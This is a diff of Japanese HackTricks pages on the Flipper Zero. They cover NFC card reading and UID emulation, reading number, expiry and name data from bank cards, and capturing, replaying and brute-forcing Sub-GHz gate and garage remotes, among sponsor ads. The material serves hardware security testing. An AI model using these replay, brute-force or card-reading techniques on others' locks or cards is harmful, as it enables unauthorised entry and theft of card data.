* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**** * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** * **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて修正できるようにしましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリやクラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
[**Flipper Zero**](https://flipperzero.one/)を使用すると、次のことができます: [**Flipper Zero**](https://flipperzero.one/)を使用すると、次のことができます:
* **ラジオ周波数の聴取/キャプチャ/リプレイ:** [**Sub-GHz**](fz-sub-ghz.md)**** * **ラジオ周波数のリスニング/キャプチャ/リプレイ:** [**Sub-GHz**](fz-sub-ghz.md)****
* **NFCカードの読み取り/キャプチャ/エミュレーション:** [**NFC**](fz-nfc.md)**** * **NFCカードの読み取り/キャプチャ/エミュレーション:** [**NFC**](fz-nfc.md)****
* **125kHzタグの読み取り/キャプチャ/エミュレーション:** [**125kHz RFID**](fz-125khz-rfid.md)**** * **125kHzタグの読み取り/キャプチャ/エミュレーション:** [**125kHz RFID**](fz-125khz-rfid.md)****
* **赤外線信号の読み取り/キャプチャ/送信:** [**Infrared**](fz-infrared.md)**** * **赤外線信号の読み取り/キャプチャ/送信:** [**Infrared**](fz-infrared.md)****
@ -23,7 +31,13 @@
* **セキュリティキーU2Fとして使用する** * **セキュリティキーU2Fとして使用する**
* **スネークをプレイする** * **スネークをプレイする**
**その他のFlipper Zeroリソースは** [**https://github.com/djsime1/awesome-flipperzero**](https://github.com/djsime1/awesome-flipperzero) **にあります。** **他のFlipper Zeroリソースは** [**https://github.com/djsime1/awesome-flipperzero**](https://github.com/djsime1/awesome-flipperzero) **にあります。**
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて修正できるようにしましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリやクラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details> <details>
@ -32,7 +46,7 @@
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**** * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** * **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details> </details>

View file

@ -12,6 +12,14 @@
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より速く修正できます。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## イントロ <a href="#9wrzi" id="9wrzi"></a> ## イントロ <a href="#9wrzi" id="9wrzi"></a>
RFIDとNFCに関する情報は、次のページを参照してください RFIDとNFCに関する情報は、次のページを参照してください
@ -23,15 +31,15 @@ RFIDとNFCに関する情報は、次のページを参照してください
## サポートされているNFCカード <a href="#9wrzi" id="9wrzi"></a> ## サポートされているNFCカード <a href="#9wrzi" id="9wrzi"></a>
{% hint style="danger" %} {% hint style="danger" %}
NFCカード以外にも、Flipper Zeroは**他の種類の高周波カード**Mifare ClassicやUltralight、NTAGなどサポートしています。 NFCカード以外にも、Flipper Zeroは**他の種類の高周波カード**複数の**Mifare** ClassicおよびUltralightおよび**NTAG**など)をサポートしています。
{% endhint %} {% endhint %}
新しいタイプのNFCカードは、サポートされるカードのリストに追加されます。Flipper Zeroは、以下の**NFCカードタイプA**ISO 14443Aをサポートしています 新しいタイプのNFCカードは、サポートされるカードのリストに追加されます。Flipper Zeroは、の**NFCカードタイプA**ISO 14443Aをサポートしています
* **銀行カードEMV** — UID、SAK、ATQAの読み取りのみで保存はしません。 * **銀行カードEMV** — UID、SAK、ATQAのみを読み取り、保存しません。
* **不明なカード** — UID、SAK、ATQAの読み取りとUIDのエミュレーションが可能です。 * **不明なカード** — UID、SAK、ATQAを読み取り、UIDをエミュレートします。
**NFCカードタイプB、タイプF、タイプV**については、Flipper ZeroはUIDの読み取りのみで保存はしません **NFCカードタイプB、タイプF、およびタイプV**については、Flipper ZeroはUIDを保存せずに読み取ることができます
### NFCカードタイプA <a href="#uvusf" id="uvusf"></a> ### NFCカードタイプA <a href="#uvusf" id="uvusf"></a>
@ -39,21 +47,21 @@ NFCカード以外にも、Flipper Zeroは**他の種類の高周波カード**
Flipper Zeroは、銀行カードのデータを**保存せずに**UID、SAK、ATQA、および保存されたデータを読み取ることができます。 Flipper Zeroは、銀行カードのデータを**保存せずに**UID、SAK、ATQA、および保存されたデータを読み取ることができます。
銀行カードの読み取り画面Flipper Zeroは、銀行カードのデータを**保存およびエミュレートせずに**読み取ることができます 銀行カードの読み取り画面銀行カードの場合、Flipper Zeroはデータを**保存せずに読み取る**ことしかできません
<figure><img src="https://cdn.flipperzero.one/Monosnap_Miro_2022-08-17_12-26-31.png?auto=format&#x26;ixlib=react-9.1.1&#x26;h=916&#x26;w=2662" alt=""><figcaption></figcaption></figure> <figure><img src="https://cdn.flipperzero.one/Monosnap_Miro_2022-08-17_12-26-31.png?auto=format&#x26;ixlib=react-9.1.1&#x26;h=916&#x26;w=2662" alt=""><figcaption></figcaption></figure>
#### 不明なカード <a href="#37eo8" id="37eo8"></a> #### 不明なカード <a href="#37eo8" id="37eo8"></a>
Flipper Zeroが**NFCカードのタイプを特定できない**場合、UID、SAK、ATQAのみを**読み取りおよび保存**することができます。 Flipper Zeroが**NFCカードのタイプを特定できない**場合、UID、SAK、ATQAのみを**読み取り保存**することができます。
不明なカードの読み取り画面不明なNFCカードの場合、Flipper ZeroはUIDのエミュレーションのみが可能です。 不明なカードの読み取り画面不明なNFCカードの場合、Flipper ZeroはUIDのみをエミュレートすることができます。
<figure><img src="https://cdn.flipperzero.one/Monosnap_Miro_2022-08-17_12-27-53.png?auto=format&#x26;ixlib=react-9.1.1&#x26;h=932&#x26;w=2634" alt=""><figcaption></figcaption></figure> <figure><img src="https://cdn.flipperzero.one/Monosnap_Miro_2022-08-17_12-27-53.png?auto=format&#x26;ixlib=react-9.1.1&#x26;h=932&#x26;w=2634" alt=""><figcaption></figcaption></figure>
### NFCカードタイプB、F、V <a href="#wyg51" id="wyg51"></a> ### NFCカードタイプB、F、およびV <a href="#wyg51" id="wyg51"></a>
**NFCカードタイプB、F、V**については、Flipper ZeroはUIDの読み取りのみで保存はしません **NFCカードタイプB、F、およびV**については、Flipper ZeroはUIDを保存せずに読み取り、表示することができます
<figure><img src="https://archbee.imgix.net/3StCFqarJkJQZV-7N79yY/zBU55Fyj50TFO4U7S-OXH_screenshot-2022-08-12-at-182540.png?auto=format&#x26;ixlib=react-9.1.1&#x26;h=1080&#x26;w=2704" alt=""><figcaption></figcaption></figure> <figure><img src="https://archbee.imgix.net/3StCFqarJkJQZV-7N79yY/zBU55Fyj50TFO4U7S-OXH_screenshot-2022-08-12-at-182540.png?auto=format&#x26;ixlib=react-9.1.1&#x26;h=1080&#x26;w=2704" alt=""><figcaption></figcaption></figure>
@ -63,37 +71,44 @@ NFCについてのイントロについては、[**このページ**](../../../r
### 読み取り ### 読み取り
Flipper Zeroは**NFCカードを読み取る**ことができますが、ISO 14443に基づく**すべてのプロトコルを理解するわけではありません**。ただし、**UIDは低レベルの属性**であるため、UIDが既に読み取られているが、ハイレベルのデータ転送プロトコルがまだ不明な状況になることがあります。UIDを使用してプリミティブなリーダーで読み取り、エミュレート、手動で入力することができます。 Flipper Zeroは**NFCカードを読み取る**ことができますが、ISO 14443に基づくすべてのプロトコルを**理解するわけではありません**。ただし、**UIDは低レベルの属性**であるため、UIDが既に読み取られているが、ハイレベルのデータ転送プロトコルがまだ不明な状況になることがあります。UIDを使用して認証するプリミティブリーダーのために、Flipperを使用してUIDを読み取り、エミュレート、手動で入力することができます。
#### UIDの読み取りと内部データの読み取り<a href="#reading-the-uid-vs-reading-the-data-inside" id="reading-the-uid-vs-reading-the-data-inside"></a>
#### UIDの読み取りと内部のデータの読み取り <a href="#reading-the-uid-vs-reading-the-data-inside" id="reading-the-uid-vs-reading-the-data-inside"></a>
<figure><img src="../../../.gitbook/assets/image (26).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (26).png" alt=""><figcaption></figcaption></figure>
Flipperでは、13.56 MHzのタグの読み取りは2つのパートに分けることができます Flipperでは、13.56 MHzのタグの読み取りは2つのパートに分けられます
* **低レベルの読み取り** - UID、SAK、ATQAのみを読み取ります。Flipperは、カードから読み取ったこのデータに基づいて高レベルのプロトコルを推測しようとします。これはあくまで特定の要素に基づく推測であり、100確実ではありません。
* **高レベルの読み取り** - 特定の高レベルのプロトコルを使用して、カードのメモリからデータを読み取ります。これは、Mifare Ultralightのデータの読み取り、Mifare Classicのセクターの読み取り、PayPass/Apple Payからカードの属性の読み取りなどです。
* **低レベルの読み取り** — UID、SAK、ATQAのみを読み取ります。Flipperは、カードから読み取ったこのデータに基づいてハイレベルのプロトコルを推測しようとします。これはあくまで一部の要素に基づく推測であり、100確実ではありません。
* **ハイレベルの読み取り** — 特定のハイレベルのプロトコルを使用してカードのメモリからデータを読み取ります。これはMifare Ultralightのデータの読み取り、Mifare Classicのセクターの読み取り、PayPass/Apple Payからカードの属性の読み取りなどが該当します。
### 特定の読み取り ### 特定の読み取り
Flipper Zeroが低レベルデータからカードの種類を見つけることができない場合、`追加のアクション`で`特定のカードの種類を読み取る`を選択し、**手動で読み取りたいカードの種類を指定**することができます。 Flipper Zeroが低レベルのデータからカードのタイプを見つけることができない場合、`Extra Actions`で`Read Specific Card Type`を選択し、**手動で読み取りたいカードのタイプを指定**することができます。
#### EMV銀行カードPayPass、payWave、Apple Pay、Google Pay<a href="#emv-bank-cards-paypass-paywave-apple-pay-google-pay" id="emv-bank-cards-paypass-paywave-apple-pay-google-pay"></a> #### EMV銀行カードPayPass、payWave、Apple Pay、Google Pay<a href="#emv-bank-cards-paypass-paywave-apple-pay-google-pay" id="emv-bank-cards-paypass-paywave-apple-pay-google-pay"></a>
UIDだけでなく、銀行カードからはさらに多くのデータを抽出することができます。カードの表面にある16桁の**カード番号全体**、**有効期限**、そして一部の場合は**所有者の名前**と**最新の取引のリスト**を取得することができます。\ UIDだけでなく、銀行カードからはさらに多くのデータを抽出することができます。カードの表面にある16桁の**カード番号**、**有効期限**、そして場合によっては**所有者の名前**と**最近の取引のリスト**を取得することができます。\
ただし、この方法では**CVVカードの裏面にある3桁の番号は読み取れません**。また、**銀行カードはリプレイ攻撃から保護されているため**、Flipperでコピーしてからそれをエミュレートして支払いを試みることはできません。 ただし、この方法では**CVVカードの裏面にある3桁の番号は読み取れません**。また、**銀行カードはリプレイ攻撃から保護されているため**、Flipperでコピーしてから何かを支払うためにエミュレートすることはできません。
## 参考文献 ## 参考文献
* [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/) * [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? HackTricksであなたの会社を宣伝したいですかまたは、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください**。
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください** * **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください**
</details> </details>

View file

@ -4,7 +4,7 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
@ -12,15 +12,23 @@
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは、攻撃対象の範囲を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## イントロ <a href="#kfpn7" id="kfpn7"></a> ## イントロ <a href="#kfpn7" id="kfpn7"></a>
Flipper Zeroは、内蔵モジュールを使用して、300-928 MHzの範囲の無線周波数を**受信および送信**することができます。このモジュールは、リモートコントロールを読み取り、保存、エミュレートすることができます。これらのコントロールは、ゲート、バリア、ラジオロック、リモートコントロールスイッチ、ワイヤレスドアベル、スマートライトなどの操作に使用されます。Flipper Zeroは、セキュリティが侵害されているかどうかを確認するのに役立ちます。 Flipper Zeroは、内蔵モジュールを使用して、300-928 MHzの範囲の無線周波数を**受信および送信**することができます。このモジュールは、リモートコントロールを読み取り、保存、エミュレートすることができます。これらのコントロールは、ゲート、バリア、ラジオロック、リモートコントロールスイッチ、ワイヤレスドアベル、スマートライトなどの操作に使用されます。Flipper Zeroは、セキュリティが危険にさらされているかどうかを確認するのに役立ちます。
<figure><img src="../../../.gitbook/assets/image (3) (2) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (2) (1).png" alt=""><figcaption></figcaption></figure>
## Sub-GHzハードウェア <a href="#kfpn7" id="kfpn7"></a> ## Sub-GHzハードウェア <a href="#kfpn7" id="kfpn7"></a>
Flipper Zeroには、[](https://www.st.com/en/nfc/st25r3916.html#overview)[CC1101チップ](https://www.ti.com/lit/ds/symlink/cc1101.pdf)と無線アンテナ最大範囲は50メートルを搭載した内蔵のサブ1 GHzモジュールがあります。CC1101チップとアンテナは、300-348 MHz、387-464 MHz、および779-928 MHzの周波数で動作するように設計されています。 Flipper Zeroには、[](https://www.st.com/en/nfc/st25r3916.html#overview)[CC1101チップ](https://www.ti.com/lit/ds/symlink/cc1101.pdf)と無線アンテナ最大範囲は50メートルを搭載した内蔵のサブ1 GHzモジュールがあります。CC1101チップとアンテナは、300-348 MHz、387-464 MHz、および779-928 MHzの周波数で動作するように設計されています。
<figure><img src="../../../.gitbook/assets/image (1) (8) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1) (8) (1).png" alt=""><figcaption></figcaption></figure>
@ -44,10 +52,10 @@ Flipper Zeroには、[](https://www.st.com/en/nfc/st25r3916.html#overview)
### 読み取り ### 読み取り
{% hint style="info" %} {% hint style="info" %}
使用されている周波数に関する情報を見つける(使用されている周波数を見つける別の方法もあります) 使用されている周波数に関する情報を見つける(使用されている周波数を見つける別の方法もあります)
{% endhint %} {% endhint %}
**読み取り**オプションは、指定された変調デフォルトでは433.92 AMで設定された周波数で**リスニング**します。読み取りに**何かが見つかると**、画面に情報が表示されます。この情報は、将来の信号の複製に使用できます。 **読み取り**オプションは、指定された変調デフォルトでは433.92 AMで設定された周波数で**リスニング**します。読み取りに**何かが見つかると**、画面に情報が表示されます。この情報は、将来のシグナルの複製に使用できます。
Readを使用している間に、**左ボタン**を押して**設定**することができます。\ Readを使用している間に、**左ボタン**を押して**設定**することができます。\
現在、**4つの変調**AM270、AM650、FM328、FM476があり、**いくつかの関連する周波数**が保存されています。 現在、**4つの変調**AM270、AM650、FM328、FM476があり、**いくつかの関連する周波数**が保存されています。
@ -57,22 +65,22 @@ Readを使用している間に、**左ボタン**を押して**設定**する
**興味のある周波数**を設定できますが、リモートで使用されている周波数が**わからない場合は、ホッピングをONに設定**デフォルトではオフし、Flipperがキャプチャし、必要な周波数を提供するまでボタンを何度も押します。 **興味のある周波数**を設定できますが、リモートで使用されている周波数が**わからない場合は、ホッピングをONに設定**デフォルトではオフし、Flipperがキャプチャし、必要な周波数を提供するまでボタンを何度も押します。
{% hint style="danger" %} {% hint style="danger" %}
周波数の切り替えには時間がかかるため、切り替え時に送信される信号は見逃される可能性があります。信号の受信を改善するために、周波数アナライザーで決定された固定周波数を設定してください。 周波数の切り替えには時間がかかるため、切り替え時に送信されるシグナルは見逃される可能性があります。信号の受信を改善するために、周波数アナライザーで決定された固定周波数を設定してください。
{% endhint %} {% endhint %}
### **生データの読み取り** ### **生データの読み取り**
{% hint style="info" %} {% hint style="info" %}
設定された周波数での信号を盗み(および再生)す 設定された周波数での信号を盗み(および再生)
{% endhint %} {% endhint %}
**生データの読み取り**オプションは、リスニング周波数で送信される信号を**記録**します。これを使用して信号を**盗み**、**再生**することができます。 **生データの読み取り**オプションは、リスニング周波数で送信された信号を記録します。これを使用して、信号を**盗み**、**再生**することができます。
デフォルトでは、**Read Raw**も433.92のAM650ですが、Readオプションで興味のある信号が異なる周波数/変調にあることがわかった場合は、左を押してRead Rawオプション内でそれを変更することもできます。
デフォルトでは、**Read Rawも433.92 AM650**ですが、Readオプションで興味のある信号が異なる周波数/変調にあることがわかった場合は、左を押してRead Rawオプション内でそれを変更することもできます。
### ブルートフォース ### ブルートフォース
ガレージドアなどで使用されるプロトコルがわかっている場合、Flipper Zeroで**すべてのコードを生成し、送信**することができます。これは、一般的なガレージの一般的なタイプをサポートする例です:[**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce)\*\*\*\* ガレージドアなどで使用されるプロトコルがわかっている場合、Flipper Zeroを使用してすべてのコードを生成し、送信することができます。これは一般的なガレージの一般的なタイプをサポートしています[https://github.com/tobiabocchi/flipperzero-bruteforce](https://github.com/tobiabocchi/flipperzero-bruteforce)
### 手動で追加 ### 手動で追加
{% hint style="info" %} {% hint style="info" %}
@ -81,22 +89,22 @@ Readを使用している間に、**左ボタン**を押して**設定**する
#### [サポートされているプロトコルのリスト](https://docs.flipperzero.one/sub-ghz/add-new-remote) <a href="#3iglu" id="3iglu"></a> #### [サポートされているプロトコルのリスト](https://docs.flipperzero.one/sub-ghz/add-new-remote) <a href="#3iglu" id="3iglu"></a>
| Princeton\_433 (ほとんどの静的コードシステムで動作します) | 433.92 | 静的 | | Princeton\_433(ほとんどの静的コードシステムで動作) | 433.92 | 静的 |
| --------------------------------------------------------------- | ------ | ------- | | ------------------------------------------------- | ------ | ------ |
| Nice Flo 12bit\_433 | 433.92 | 静的 | | Nice Flo 12bit\_433 | 433.92 | 静的 |
| Nice Flo 24bit\_433 | 433.92 | 静的 | | Nice Flo 24bit\_433 | 433.92 | 静的 |
| CAME 12bit\_433 | 433.92 | 静的 | | CAME 12bit\_433 | 433.92 | 静的 |
| CAME 24bit\_433 | 433.92 | 静的 | | CAME 24bit\_433 | 433.92 | 静的 |
| Linear\_300 | 300.00 | 静的 | | Linear\_300 | 300.00 | 静的 |
| CAME TWEE | 433.92 | 静的 | | CAME TWEE | 433.92 | 静的 |
| Gate TX\_433 | 433.92 | 静的 | | Gate TX\_433 | 433.92 | 静的 |
| DoorHan\_315 | 315.00 | 動的 | | DoorHan\_315 | 315.00 | 動的 |
| DoorHan\_433 | 433.92 | 動的 | | DoorHan\_433 | 433.92 | 動的 |
| LiftMaster\_315 | 315.00 | 動的 | | LiftMaster\_315 | 315.00 | 動的 |
| LiftMaster\_390 | 390.00 | 動的 | | LiftMaster\_390 | 390.00 | 動的 |
| Security+2.0\_310 | 310.00 | 動的 | | Security+2.0\_310 | 310.00 | 動的 |
| Security+2.0\_315 | 315.00 | 動的 | | Security+2.0\_315 | 315.00 | 動的 |
| Security+2.0\_390 | 390.00 | 動的 | | Security+2.0\_390 | 390.00 | 動的 |
### サポートされているSub-GHzベンダー ### サポートされているSub-GHzベンダー
@ -115,16 +123,22 @@ Readを使用している間に、**左ボタン**を押して**設定**する
## 参考 ## 参考
* [https://docs.flipperzero.one/sub-ghz](https://docs.flipperzero.one/sub-ghz) * [https://docs.flipperzero.one/sub-ghz](https://docs.flipperzero.one/sub-ghz)
*
